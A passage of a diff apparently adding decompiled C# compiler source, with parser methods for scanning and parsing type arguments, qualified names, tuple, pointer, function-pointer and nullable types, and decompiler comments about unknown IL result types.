+ case SyntaxKind.CloseBracketToken: + case SyntaxKind.BarToken: + case SyntaxKind.ColonToken: + case SyntaxKind.SemicolonToken: + case SyntaxKind.CommaToken: + case SyntaxKind.DotToken: + case SyntaxKind.QuestionToken: + case SyntaxKind.ExclamationEqualsToken: + case SyntaxKind.EqualsEqualsToken: + return ScanTypeArgumentListKind.DefiniteTypeArgumentList; + case SyntaxKind.AmpersandToken: + case SyntaxKind.OpenBracketToken: + case SyntaxKind.LessThanToken: + case SyntaxKind.BarBarToken: + case SyntaxKind.AmpersandAmpersandToken: + case SyntaxKind.LessThanEqualsToken: + case SyntaxKind.GreaterThanEqualsToken: + case SyntaxKind.IsKeyword: + case SyntaxKind.AsKeyword: + return ScanTypeArgumentListKind.DefiniteTypeArgumentList; + case SyntaxKind.OpenBraceToken: + return ScanTypeArgumentListKind.DefiniteTypeArgumentList; + case SyntaxKind.GreaterThanToken: + if ((options & NameOptions.AfterIs) != NameOptions.None && PeekToken(1).Kind != SyntaxKind.GreaterThanToken) + { + return ScanTypeArgumentListKind.DefiniteTypeArgumentList; + } + break; + case SyntaxKind.IdentifierToken: + { + bool flag = (options & (NameOptions.AfterIs | NameOptions.DefinitePattern | NameOptions.AfterOut)) != 0; + if (!flag) + { + bool flag2 = (options & NameOptions.AfterTupleComma) != 0; + if (flag2) + { + SyntaxKind kind = PeekToken(1).Kind; + bool flag3 = ((kind == SyntaxKind.CloseParenToken || kind == SyntaxKind.CommaToken) ? true : false); + flag2 = flag3; + } + flag = flag2; + } + if (flag || ((options & NameOptions.FirstElementOfPossibleTupleLiteral) != NameOptions.None && PeekToken(1).Kind == SyntaxKind.CommaToken)) + { + return ScanTypeArgumentListKind.DefiniteTypeArgumentList; + } + return ScanTypeArgumentListKind.PossibleTypeArgumentList; + } + case SyntaxKind.EndOfFileToken: + return ScanTypeArgumentListKind.DefiniteTypeArgumentList; + case SyntaxKind.EqualsGreaterThanToken: + return ScanTypeArgumentListKind.DefiniteTypeArgumentList; + } + return ScanTypeArgumentListKind.PossibleTypeArgumentList; + } + + private ScanTypeFlags ScanPossibleTypeArgumentList(out SyntaxToken greaterThanToken, out bool isDefinitelyTypeArgumentList) + { + isDefinitelyTypeArgumentList = false; + if (IsOpenName()) + { + isDefinitelyTypeArgumentList = true; + EatToken(); + while (base.CurrentToken.Kind == SyntaxKind.CommaToken) + { + EatToken(); + } + greaterThanToken = EatToken(); + return ScanTypeFlags.GenericTypeOrMethod; + } + ScanTypeFlags result = ScanTypeFlags.GenericTypeOrExpression; + do + { + EatToken(); + if (base.CurrentToken.Kind == SyntaxKind.OpenBracketToken) + { + greaterThanToken = null; + return ScanTypeFlags.NotType; + } + if (base.CurrentToken.Kind == SyntaxKind.GreaterThanToken) + { + greaterThanToken = EatToken(); + return result; + } + SyntaxToken lastTokenOfType; + switch (ScanType(out lastTokenOfType)) + { + case ScanTypeFlags.NotType: + greaterThanToken = null; + return ScanTypeFlags.NotType; + case ScanTypeFlags.MustBeType: + { + bool flag = isDefinitelyTypeArgumentList; + if (!flag) + { + SyntaxKind kind = base.CurrentToken.Kind; + bool flag2 = kind - 8216 <= SyntaxKind.List; + flag = flag2; + } + isDefinitelyTypeArgumentList = flag; + result = ScanTypeFlags.GenericTypeOrMethod; + break; + } + case ScanTypeFlags.NullableType: + { + bool flag = isDefinitelyTypeArgumentList; + if (!flag) + { + SyntaxKind kind = base.CurrentToken.Kind; + bool flag2 = kind - 8216 <= SyntaxKind.List; + flag = flag2; + } + isDefinitelyTypeArgumentList = flag; + if (isDefinitelyTypeArgumentList) + { + result = ScanTypeFlags.GenericTypeOrMethod; + } + break; + } + case ScanTypeFlags.GenericTypeOrExpression: + if (!isDefinitelyTypeArgumentList) + { + isDefinitelyTypeArgumentList = base.CurrentToken.Kind == SyntaxKind.CommaToken; + result = ScanTypeFlags.GenericTypeOrMethod; + } + break; + case ScanTypeFlags.GenericTypeOrMethod: + result = ScanTypeFlags.GenericTypeOrMethod; + break; + } + } + while (base.CurrentToken.Kind == SyntaxKind.CommaToken); + if (base.CurrentToken.Kind != SyntaxKind.GreaterThanToken) + { + greaterThanToken = null; + return ScanTypeFlags.NotType; + } + greaterThanToken = EatToken(); + isDefinitelyTypeArgumentList = isDefinitelyTypeArgumentList || base.CurrentToken.Kind == SyntaxKind.CloseParenToken; + if (isDefinitelyTypeArgumentList) + { + result = ScanTypeFlags.GenericTypeOrMethod; + } + return result; + } + + private void ParseTypeArgumentList(out SyntaxToken open, SeparatedSyntaxListBuilder types, out SyntaxToken close) + { + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_00d5: Unknown result type (might be due to invalid IL or missing references) + //IL_00de: Unknown result type (might be due to invalid IL or missing references) + bool num = IsOpenName(); + open = EatToken(SyntaxKind.LessThanToken); + open = CheckFeatureAvailability(open, MessageID.IDS_FeatureGenerics); + if (num) + { + OmittedTypeArgumentSyntax omittedTypeArgumentSyntax = _syntaxFactory.OmittedTypeArgument(SyntaxFactory.Token(SyntaxKind.OmittedTypeArgumentToken)); + types.Add((TypeSyntax)omittedTypeArgumentSyntax); + while (base.CurrentToken.Kind == SyntaxKind.CommaToken) + { + types.AddSeparator((GreenNode)(object)EatToken(SyntaxKind.CommaToken)); + types.Add((TypeSyntax)omittedTypeArgumentSyntax); + } + close = EatToken(SyntaxKind.GreaterThanToken); + return; + } + types.Add(ParseTypeArgument()); + while (base.CurrentToken.Kind != SyntaxKind.GreaterThanToken) + { + if (base.CurrentToken.Kind == SyntaxKind.CommaToken || IsPossibleType()) + { + types.AddSeparator((GreenNode)(object)EatToken(SyntaxKind.CommaToken)); + types.Add(ParseTypeArgument()); + } + else if (SkipBadTypeArgumentListTokens(types, SyntaxKind.CommaToken) == PostSkipAction.Abort) + { + break; + } + } + close = EatToken(SyntaxKind.GreaterThanToken); + } + + private PostSkipAction SkipBadTypeArgumentListTokens(SeparatedSyntaxListBuilder list, SyntaxKind expected) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + CSharpSyntaxNode startToken = null; + return SkipBadSeparatedListTokensWithExpectedKind(ref startToken, list, (LanguageParser p) => p.CurrentToken.Kind != SyntaxKind.CommaToken && !p.IsPossibleType(), (LanguageParser p, SyntaxKind _) => p.CurrentToken.Kind == SyntaxKind.GreaterThanToken, expected); + } + + private TypeSyntax ParseTypeArgument() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + SyntaxList val = default(SyntaxList); + if (base.CurrentToken.Kind == SyntaxKind.OpenBracketToken && PeekToken(1).Kind != SyntaxKind.CloseBracketToken) + { + TerminatorState termState = _termState; + _termState = TerminatorState.IsEndOfTypeArgumentList; + val = ParseAttributeDeclarations(inExpressionContext: false); + _termState = termState; + } + SyntaxKind kind = base.CurrentToken.Kind; + bool flag = kind - 8361 <= SyntaxKind.List; + SyntaxToken syntaxToken = (flag ? AddError(EatToken(), ErrorCode.ERR_IllegalVarianceSyntax) : null); + TypeSyntax typeSyntax = ParseType(); + int num; + if (((GreenNode)typeSyntax).IsMissing) + { + kind = base.CurrentToken.Kind; + num = ((kind != SyntaxKind.CommaToken && kind != SyntaxKind.GreaterThanToken) ? 1 : 0); + } + else + { + num = 0; + } + flag = (byte)num != 0; + if (flag) + { + kind = PeekToken(1).Kind; + bool flag2 = kind - 8216 <= SyntaxKind.List; + flag = flag2; + } + if (flag) + { + typeSyntax = AddTrailingSkippedSyntax(typeSyntax, (GreenNode)(object)EatToken()); + } + if (syntaxToken != null) + { + typeSyntax = AddLeadingSkippedSyntax(typeSyntax, (GreenNode)(object)syntaxToken); + } + if (val.Count > 0) + { + typeSyntax = AddLeadingSkippedSyntax(typeSyntax, val.Node); + typeSyntax = AddError(typeSyntax, ErrorCode.ERR_TypeExpected); + } + return typeSyntax; + } + + private bool IsEndOfTypeArgumentList() + { + return base.CurrentToken.Kind == SyntaxKind.GreaterThanToken; + } + + private bool IsOpenName() + { + int i; + for (i = 1; PeekToken(i).Kind == SyntaxKind.CommaToken; i++) + { + } + return PeekToken(i).Kind == SyntaxKind.GreaterThanToken; + } + + private void ParseMemberName(out ExplicitInterfaceSpecifierSyntax explicitInterfaceOpt, out SyntaxToken identifierOrThisOpt, out TypeParameterListSyntax typeParameterListOpt, bool isEvent) + { + //IL_015a: Unknown result type (might be due to invalid IL or missing references) + //IL_015f: Unknown result type (might be due to invalid IL or missing references) + identifierOrThisOpt = null; + explicitInterfaceOpt = null; + typeParameterListOpt = null; + if (!IsPossibleMemberName()) + { + return; + } + NameSyntax explicitInterfaceName = null; + SyntaxToken separator = null; + ResetPoint state = default(ResetPoint); + bool flag = false; + try + { + while (true) + { + if (base.CurrentToken.Kind == SyntaxKind.ThisKeyword) + { + state = GetResetPoint(); + flag = true; + identifierOrThisOpt = EatToken(); + typeParameterListOpt = ParseTypeParameterList(); + break; + } + bool flag2; + using (GetDisposableResetPoint(resetOnDispose: true)) + { + ScanNamedTypePart(); + flag2 = !IsDotOrColonColonOrDotDot(); + } + if (flag2) + { + state = GetResetPoint(); + flag = true; + if (separator != null && separator.Kind == SyntaxKind.ColonColonToken) + { + separator = AddError(separator, ErrorCode.ERR_AliasQualAsExpression); + separator = ConvertToMissingWithTrailingTrivia(separator, SyntaxKind.DotToken); + } + identifierOrThisOpt = ParseIdentifierToken(); + typeParameterListOpt = ParseTypeParameterList(); + break; + } + AccumulateExplicitInterfaceName(ref explicitInterfaceName, ref separator); + } + if (explicitInterfaceName == null) + { + return; + } + if (separator.Kind != SyntaxKind.DotToken) + { + separator = WithAdditionalDiagnostics(separator, GetExpectedTokenError(SyntaxKind.DotToken, separator.Kind, ((GreenNode)separator).GetLeadingTriviaWidth(), ((GreenNode)separator).Width)); + separator = ConvertToMissingWithTrailingTrivia(separator, SyntaxKind.DotToken); + } + if (isEvent) + { + SyntaxKind kind = base.CurrentToken.Kind; + if (kind != SyntaxKind.OpenBraceToken && kind != SyntaxKind.SemicolonToken) + { + explicitInterfaceOpt = _syntaxFactory.ExplicitInterfaceSpecifier(explicitInterfaceName, AddError(separator, ErrorCode.ERR_ExplicitEventFieldImpl)); + if (separator.TrailingTrivia.Any(8539)) + { + Reset(ref state); + identifierOrThisOpt = null; + typeParameterListOpt = null; + } + return; + } + } + explicitInterfaceOpt = _syntaxFactory.ExplicitInterfaceSpecifier(explicitInterfaceName, separator); + } + finally + { + if (flag) + { + Release(ref state); + } + } + } + + private void AccumulateExplicitInterfaceName(ref NameSyntax explicitInterfaceName, ref SyntaxToken separator) + { + TerminatorState termState = _termState; + _termState |= TerminatorState.IsEndOfNameInExplicitInterface; + if (explicitInterfaceName == null) + { + explicitInterfaceName = ParseSimpleName(NameOptions.InTypeList); + if (base.CurrentToken.Kind == SyntaxKind.DotDotToken) + { + separator = EatToken(); + explicitInterfaceName = RecoverFromDotDot(explicitInterfaceName, ref separator); + } + else + { + separator = ((base.CurrentToken.Kind == SyntaxKind.ColonColonToken) ? EatToken() : EatToken(SyntaxKind.DotToken)); + } + } + else + { + NameSyntax nameSyntax = ParseQualifiedNameRight(NameOptions.InTypeList, explicitInterfaceName, separator); + explicitInterfaceName = nameSyntax; + if (base.CurrentToken.Kind == SyntaxKind.ColonColonToken) + { + separator = EatToken(); + separator = AddError(separator, ErrorCode.ERR_UnexpectedAliasedName); + separator = ConvertToMissingWithTrailingTrivia(separator, SyntaxKind.DotToken); + } + else if (base.CurrentToken.Kind == SyntaxKind.DotDotToken) + { + separator = EatToken(); + explicitInterfaceName = RecoverFromDotDot(explicitInterfaceName, ref separator); + } + else + { + separator = EatToken(SyntaxKind.DotToken); + } + } + _termState = termState; + } + + private bool IsOperatorStart(out ExplicitInterfaceSpecifierSyntax explicitInterfaceOpt, bool advanceParser = true) + { + explicitInterfaceOpt = null; + if (IsOperatorKeyword()) + { + return true; + } + if (base.CurrentToken.Kind != SyntaxKind.IdentifierToken) + { + return false; + } + NameSyntax explicitInterfaceName = null; + SyntaxToken separator = null; + using DisposableResetPoint disposableResetPoint = GetDisposableResetPoint(resetOnDispose: false); + while (true) + { + bool flag; + using (GetDisposableResetPoint(resetOnDispose: true)) + { + if (IsOperatorKeyword()) + { + flag = false; + } + else + { + ScanNamedTypePart(); + flag = IsDotOrColonColonOrDotDot() || IsOperatorKeyword(); + } + } + if (!flag) + { + break; + } + AccumulateExplicitInterfaceName(ref explicitInterfaceName, ref separator); + } + if (separator != null && separator.Kind == SyntaxKind.ColonColonToken) + { + separator = AddError(separator, ErrorCode.ERR_AliasQualAsExpression); + separator = ConvertToMissingWithTrailingTrivia(separator, SyntaxKind.DotToken); + } + if (!IsOperatorKeyword() || explicitInterfaceName == null) + { + disposableResetPoint.Reset(); + return false; + } + if (!advanceParser) + { + disposableResetPoint.Reset(); + return true; + } + if (separator.Kind != SyntaxKind.DotToken) + { + separator = WithAdditionalDiagnostics(separator, GetExpectedTokenError(SyntaxKind.DotToken, separator.Kind, ((GreenNode)separator).GetLeadingTriviaWidth(), ((GreenNode)separator).Width)); + separator = ConvertToMissingWithTrailingTrivia(separator, SyntaxKind.DotToken); + } + explicitInterfaceOpt = _syntaxFactory.ExplicitInterfaceSpecifier(explicitInterfaceName, separator); + return true; + } + + private NameSyntax ParseAliasQualifiedName(NameOptions allowedParts = NameOptions.None) + { + SimpleNameSyntax simpleNameSyntax = ParseSimpleName(allowedParts); + if (base.CurrentToken.Kind != SyntaxKind.ColonColonToken) + { + return simpleNameSyntax; + } + return ParseQualifiedNameRight(allowedParts, simpleNameSyntax, EatToken()); + } + + private NameSyntax ParseQualifiedName(NameOptions options = NameOptions.None) + { + NameSyntax nameSyntax = ParseAliasQualifiedName(options); + while (IsDotOrColonColonOrDotDot() && PeekToken(1).Kind != SyntaxKind.ThisKeyword) + { + SyntaxToken separator = EatToken(); + nameSyntax = ParseQualifiedNameRight(options, nameSyntax, separator); + } + return nameSyntax; + } + + private bool IsDotOrColonColonOrDotDot() + { + if (!IsDotOrColonColon()) + { + return base.CurrentToken.Kind == SyntaxKind.DotDotToken; + } + return true; + } + + private NameSyntax ParseQualifiedNameRight(NameOptions options, NameSyntax left, SyntaxToken separator) + { + SimpleNameSyntax simpleNameSyntax = ParseSimpleName(options); + switch (separator.Kind) + { + case SyntaxKind.DotToken: + return _syntaxFactory.QualifiedName(left, separator, simpleNameSyntax); + case SyntaxKind.DotDotToken: + return _syntaxFactory.QualifiedName(RecoverFromDotDot(left, ref separator), separator, simpleNameSyntax); + case SyntaxKind.ColonColonToken: + { + if (left.Kind != SyntaxKind.IdentifierName) + { + separator = AddError(separator, ErrorCode.ERR_UnexpectedAliasedName); + } + IdentifierNameSyntax identifierNameSyntax = left as IdentifierNameSyntax; + if (identifierNameSyntax == null) + { + separator = ConvertToMissingWithTrailingTrivia(separator, SyntaxKind.DotToken); + return _syntaxFactory.QualifiedName(left, separator, simpleNameSyntax); + } + if (identifierNameSyntax.Identifier.ContextualKind == SyntaxKind.GlobalKeyword) + { + identifierNameSyntax = _syntaxFactory.IdentifierName(SyntaxParser.ConvertToKeyword(identifierNameSyntax.Identifier)); + } + return WithAdditionalDiagnostics(_syntaxFactory.AliasQualifiedName(identifierNameSyntax, separator, simpleNameSyntax), ((GreenNode)left).GetDiagnostics()); + } + default: + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Parser/LanguageParser.cs", 6392); + } + } + + private NameSyntax RecoverFromDotDot(NameSyntax left, ref SyntaxToken separator) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken dotToken = SyntaxFactory.Token(separator.LeadingTrivia.Node, SyntaxKind.DotToken, null); + IdentifierNameSyntax right = AddError(CreateMissingIdentifierName(), ErrorCode.ERR_IdentifierExpected); + separator = SyntaxFactory.Token(null, SyntaxKind.DotToken, separator.TrailingTrivia.Node); + return _syntaxFactory.QualifiedName(left, dotToken, right); + } + + private SyntaxToken ConvertToMissingWithTrailingTrivia(SyntaxToken token, SyntaxKind expectedKind) + { + SyntaxToken node = SyntaxFactory.MissingToken(expectedKind); + return AddTrailingSkippedSyntax(node, (GreenNode)(object)token); + } + + private bool IsPossibleType() + { + if (!IsPredefinedType(base.CurrentToken.Kind)) + { + return IsTrueIdentifier(); + } + return true; + } + + private ScanTypeFlags ScanType(bool forPattern = false) + { + SyntaxToken lastTokenOfType; + return ScanType(out lastTokenOfType, forPattern); + } + + private ScanTypeFlags ScanType(out SyntaxToken lastTokenOfType, bool forPattern = false) + { + return ScanType(forPattern ? ParseTypeMode.DefinitePattern : ParseTypeMode.Normal, out lastTokenOfType); + } + + private void ScanNamedTypePart() + { + ScanNamedTypePart(out var _); + } + + private ScanTypeFlags ScanNamedTypePart(out SyntaxToken lastTokenOfType) + { + if (base.CurrentToken.Kind != SyntaxKind.IdentifierToken || !IsTrueIdentifier()) + { + lastTokenOfType = null; + return ScanTypeFlags.NotType; + } + lastTokenOfType = EatToken(); + bool isDefinitelyTypeArgumentList; + if (base.CurrentToken.Kind == SyntaxKind.LessThanToken) + { + return ScanPossibleTypeArgumentList(out lastTokenOfType, out isDefinitelyTypeArgumentList); + } + return ScanTypeFlags.NonGenericTypeOrExpression; + } + + private ScanTypeFlags ScanType(ParseTypeMode mode, out SyntaxToken lastTokenOfType) + { + if (base.CurrentToken.Kind == SyntaxKind.RefKeyword) + { + EatToken(); + if (base.CurrentToken.Kind == SyntaxKind.ReadOnlyKeyword) + { + EatToken(); + } + } + SyntaxKind kind = base.CurrentToken.Kind; + ScanTypeFlags scanTypeFlags; + if ((kind == SyntaxKind.ColonColonToken || kind == SyntaxKind.IdentifierToken) ? true : false) + { + bool flag; + if (base.CurrentToken.Kind == SyntaxKind.ColonColonToken) + { + scanTypeFlags = ScanTypeFlags.NonGenericTypeOrExpression; + flag = true; + lastTokenOfType = null; + } + else + { + flag = PeekToken(1).Kind == SyntaxKind.ColonColonToken; + scanTypeFlags = ScanNamedTypePart(out lastTokenOfType); + if (scanTypeFlags == ScanTypeFlags.NotType) + { + return ScanTypeFlags.NotType; + } + } + bool flag2 = true; + while (IsDotOrColonColon()) + { + if (!flag2) + { + flag = false; + } + EatToken(); + scanTypeFlags = ScanNamedTypePart(out lastTokenOfType); + if (scanTypeFlags == ScanTypeFlags.NotType) + { + return ScanTypeFlags.NotType; + } + flag2 = false; + } + if (flag) + { + scanTypeFlags = ScanTypeFlags.AliasQualifiedName; + } + } + else if (IsPredefinedType(base.CurrentToken.Kind)) + { + lastTokenOfType = EatToken(); + scanTypeFlags = ScanTypeFlags.MustBeType; + } + else if (base.CurrentToken.Kind == SyntaxKind.OpenParenToken) + { + lastTokenOfType = EatToken(); + scanTypeFlags = ScanTupleType(out lastTokenOfType); + if (scanTypeFlags == ScanTypeFlags.NotType || (mode == ParseTypeMode.DefinitePattern && base.CurrentToken.Kind != SyntaxKind.OpenBracketToken)) + { + return ScanTypeFlags.NotType; + } + } + else + { + if (!IsFunctionPointerStart()) + { + lastTokenOfType = null; + return ScanTypeFlags.NotType; + } + scanTypeFlags = ScanFunctionPointerType(out lastTokenOfType); + } + int lastTokenPosition = -1; + while (IsMakingProgress(ref lastTokenPosition)) + { + switch (base.CurrentToken.Kind) + { + case SyntaxKind.QuestionToken: + { + SyntaxKind kind2 = lastTokenOfType.Kind; + if (kind2 != SyntaxKind.QuestionToken && kind2 != SyntaxKind.AsteriskToken) + { + lastTokenOfType = EatToken(); + scanTypeFlags = ScanTypeFlags.NullableType; + continue; + } + break; + } + case SyntaxKind.AsteriskToken: + if (mode != ParseTypeMode.DefinitePattern && ((mode != ParseTypeMode.AfterTupleComma && mode != ParseTypeMode.FirstElementOfPossibleTupleLiteral) || PointerTypeModsFollowedByRankAndDimensionSpecifier())) + { + lastTokenOfType = EatToken(); + if ((uint)(scanTypeFlags - 3) <= 1u) + { + scanTypeFlags = ScanTypeFlags.PointerOrMultiplication; + } + else if (scanTypeFlags == ScanTypeFlags.GenericTypeOrMethod) + { + scanTypeFlags = ScanTypeFlags.MustBeType; + } + continue; + } + break; + case SyntaxKind.OpenBracketToken: + EatToken(); + while (base.CurrentToken.Kind == SyntaxKind.CommaToken) + { + EatToken(); + } + if (base.CurrentToken.Kind != SyntaxKind.CloseBracketToken) + { + lastTokenOfType = null; + return ScanTypeFlags.NotType; + } + lastTokenOfType = EatToken(); + scanTypeFlags = ScanTypeFlags.MustBeType; + continue; + } + break; + } + return scanTypeFlags; + } + + private ScanTypeFlags ScanTupleType(out SyntaxToken lastTokenOfType) + { + if (ScanType(out lastTokenOfType) != ScanTypeFlags.NotType) + { + if (IsTrueIdentifier()) + { + lastTokenOfType = EatToken(); + } + if (base.CurrentToken.Kind == SyntaxKind.CommaToken) + { + do + { + lastTokenOfType = EatToken(); + if (ScanType(out lastTokenOfType) == ScanTypeFlags.NotType) + { + lastTokenOfType = EatToken(); + return ScanTypeFlags.NotType; + } + if (IsTrueIdentifier()) + { + lastTokenOfType = EatToken(); + } + } + while (base.CurrentToken.Kind == SyntaxKind.CommaToken); + if (base.CurrentToken.Kind == SyntaxKind.CloseParenToken) + { + lastTokenOfType = EatToken(); + return ScanTypeFlags.TupleType; + } + } + } + lastTokenOfType = null; + return ScanTypeFlags.NotType; + } + + private ScanTypeFlags ScanFunctionPointerType(out SyntaxToken lastTokenOfType) + { + //IL_0187: Unknown result type (might be due to invalid IL or missing references) + //IL_013d: Unknown result type (might be due to invalid IL or missing references) + //IL_0142: Unknown result type (might be due to invalid IL or missing references) + //IL_0144: Unknown result type (might be due to invalid IL or missing references) + EatToken(SyntaxKind.DelegateKeyword); + lastTokenOfType = EatToken(SyntaxKind.AsteriskToken); + SyntaxToken lastTokenOfType2; + if (base.CurrentToken.Kind == SyntaxKind.IdentifierToken) + { + SyntaxToken syntaxToken = PeekToken(1); + lastTokenOfType2 = base.CurrentToken; + if (lastTokenOfType2 != null) + { + SyntaxKind contextualKind = lastTokenOfType2.ContextualKind; + if (contextualKind - 8445 <= SyntaxKind.List) + { + goto IL_006b; + } + } + if (!IsPossibleFunctionPointerParameterListStart(syntaxToken) && syntaxToken.Kind != SyntaxKind.OpenBracketToken) + { + return ScanTypeFlags.MustBeType; + } + goto IL_006b; + } + goto IL_00f2; + IL_006b: + lastTokenOfType = EatToken(); + TerminatorState termState; + if (base.CurrentToken.Kind == SyntaxKind.OpenBracketToken) + { + lastTokenOfType = EatToken(SyntaxKind.OpenBracketToken); + termState = _termState; + _termState |= TerminatorState.IsEndOfFunctionPointerCallingConvention; + try + { + while (true) + { + lastTokenOfType = TryEatToken(SyntaxKind.IdentifierToken) ?? lastTokenOfType; + if (skipBadFunctionPointerTokens() == PostSkipAction.Abort) + { + break; + } + lastTokenOfType = EatToken(); + } + lastTokenOfType = TryEatToken(SyntaxKind.CloseBracketToken) ?? lastTokenOfType; + } + finally + { + _termState = termState; + } + } + goto IL_00f2; + IL_00f2: + if (!IsPossibleFunctionPointerParameterListStart(base.CurrentToken)) + { + return ScanTypeFlags.MustBeType; + } + bool flag = EatToken().Kind == SyntaxKind.LessThanToken; + termState = _termState; + _termState |= (TerminatorState)(flag ? 8388608 : 16777216); + SyntaxListBuilder val = _pool.Allocate(); + try + { + while (true) + { + ParseParameterModifiers(SyntaxListBuilder.op_Implicit(val), isFunctionPointerParameter: true); + val.Clear(); + ScanType(out lastTokenOfType2); + if (skipBadFunctionPointerTokens() == PostSkipAction.Abort) + { + break; + } + EatToken(SyntaxKind.CommaToken); + } + } + finally + { + _termState = termState; + _pool.Free(SyntaxListBuilder.op_Implicit(val)); + } + if (!flag && base.CurrentToken.Kind == SyntaxKind.CloseParenToken) + { + lastTokenOfType = EatTokenAsKind(SyntaxKind.GreaterThanToken); + } + else + { + lastTokenOfType = EatToken(SyntaxKind.GreaterThanToken); + } + return ScanTypeFlags.MustBeType; + PostSkipAction skipBadFunctionPointerTokens() + { + GreenNode trailingTrivia; + return SkipBadTokensWithExpectedKind((LanguageParser p) => p.CurrentToken.Kind != SyntaxKind.CommaToken, (LanguageParser p, SyntaxKind _) => p.IsTerminator(), SyntaxKind.CommaToken, SyntaxKind.None, out trailingTrivia); + } + } + + private static bool IsPredefinedType(SyntaxKind keyword) + { + return SyntaxFacts.IsPredefinedType(keyword); + } + + public TypeSyntax ParseTypeName() + { + return ParseType(); + } + + private TypeSyntax ParseTypeOrVoid() + { + if (base.CurrentToken.Kind == SyntaxKind.VoidKeyword && PeekToken(1).Kind != SyntaxKind.AsteriskToken) + { + return _syntaxFactory.PredefinedType(EatToken()); + } + return ParseType(); + } + + private TypeSyntax ParseType(ParseTypeMode mode = ParseTypeMode.Normal) + { + if (base.CurrentToken.Kind == SyntaxKind.RefKeyword) + { + return _syntaxFactory.RefType(EatToken(), (base.CurrentToken.Kind == SyntaxKind.ReadOnlyKeyword) ? EatToken() : null, ParseTypeCore(ParseTypeMode.AfterRef)); + } + return ParseTypeCore(mode); + } + + private TypeSyntax ParseTypeCore(ParseTypeMode mode) + { + //IL_0177: Unknown result type (might be due to invalid IL or missing references) + //IL_017c: Unknown result type (might be due to invalid IL or missing references) + //IL_0188: Unknown result type (might be due to invalid IL or missing references) + //IL_01b4: Unknown result type (might be due to invalid IL or missing references) + //IL_01b6: Unknown result type (might be due to invalid IL or missing references) + NameOptions options; + switch (mode) + { + case ParseTypeMode.AfterIs: + options = NameOptions.InExpression | NameOptions.PossiblePattern | NameOptions.AfterIs; + break; + case ParseTypeMode.DefinitePattern: + options = NameOptions.InExpression | NameOptions.PossiblePattern | NameOptions.DefinitePattern; + break; + case ParseTypeMode.AfterOut: + options = NameOptions.InExpression | NameOptions.AfterOut; + break; + case ParseTypeMode.AfterTupleComma: + options = NameOptions.InExpression | NameOptions.AfterTupleComma; + break; + case ParseTypeMode.FirstElementOfPossibleTupleLiteral: + options = NameOptions.InExpression | NameOptions.FirstElementOfPossibleTupleLiteral; + break; + case ParseTypeMode.Normal: + case ParseTypeMode.Parameter: + case ParseTypeMode.AfterRef: + case ParseTypeMode.AsExpression: + case ParseTypeMode.NewExpression: + options = NameOptions.None; + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)mode); + } + TypeSyntax type = ParseUnderlyingType(mode, options); + int lastTokenPosition = -1; + while (IsMakingProgress(ref lastTokenPosition)) + { + switch (base.CurrentToken.Kind) + { + case SyntaxKind.QuestionToken: + if (canBeNullableType()) + { + SyntaxToken syntaxToken = EatNullableQualifierIfApplicable(mode); + if (syntaxToken != null) + { + type = _syntaxFactory.NullableType(type, syntaxToken); + continue; + } + } + break; + case SyntaxKind.AsteriskToken: + switch (mode) + { + case ParseTypeMode.AfterIs: + case ParseTypeMode.DefinitePattern: + case ParseTypeMode.AfterTupleComma: + case ParseTypeMode.FirstElementOfPossibleTupleLiteral: + if (PointerTypeModsFollowedByRankAndDimensionSpecifier()) + { + type = ParsePointerTypeMods(type); + continue; + } + break; + case ParseTypeMode.Normal: + case ParseTypeMode.Parameter: + case ParseTypeMode.AfterOut: + case ParseTypeMode.AfterRef: + case ParseTypeMode.AsExpression: + case ParseTypeMode.NewExpression: + type = ParsePointerTypeMods(type); + continue; + } + break; + case SyntaxKind.OpenBracketToken: + { + SyntaxListBuilder val = _pool.Allocate(); + do + { + val.Add(ParseArrayRankSpecifier(out var _)); + } + while (base.CurrentToken.Kind == SyntaxKind.OpenBracketToken); + type = _syntaxFactory.ArrayType(type, _pool.ToListAndFree(val)); + continue; + } + } + break; + } + return type; + bool canBeNullableType() + { + if (type.Kind == SyntaxKind.NullableType || type.Kind == SyntaxKind.PointerType) + { + return false; + } + if (PeekToken(1).Kind == SyntaxKind.OpenBracketToken) + { + return true; + } + if (mode == ParseTypeMode.DefinitePattern) + { + return true; + } + if (mode == ParseTypeMode.NewExpression && type.Kind == SyntaxKind.TupleType) + { + SyntaxKind kind = PeekToken(1).Kind; + if (kind != SyntaxKind.OpenParenToken && kind != SyntaxKind.OpenBraceToken) + { + return false; + } + } + return true; + } + } + + private SyntaxToken EatNullableQualifierIfApplicable(ParseTypeMode mode) + { + using (DisposableResetPoint disposableResetPoint = GetDisposableResetPoint(resetOnDispose: false)) + { + SyntaxToken result = EatToken(); + if (!canFollowNullableType()) + { + disposableResetPoint.Reset(); + return null; + } + return result; + } + bool canFollowNullableType() + { + switch (mode) + { + case ParseTypeMode.AfterIs: + case ParseTypeMode.DefinitePattern: + case ParseTypeMode.AsExpression: + if (CanStartExpression()) + { + return base.CurrentToken.Kind == SyntaxKind.OpenBracketToken; + } + return true; + case ParseTypeMode.NewExpression: + { + SyntaxKind kind = base.CurrentToken.Kind; + if (kind == SyntaxKind.OpenParenToken || kind == SyntaxKind.OpenBraceToken || kind == SyntaxKind.OpenBracketToken) + { + return true; + } + return false; + } + default: + return true; + } + } + } + + private bool PointerTypeModsFollowedByRankAndDimensionSpecifier() + { + int num = 0; + while (true) + { + switch (PeekToken(num).Kind) + { + case SyntaxKind.OpenBracketToken: + return true; + default: + return false; + case SyntaxKind.AsteriskToken: + break; + } + num++; + } + } + + private ArrayRankSpecifierSyntax ParseArrayRankSpecifier(out bool sawNonOmittedSize) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_00eb: Unknown result type (might be due to invalid IL or missing references) + //IL_0174: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_00ad: 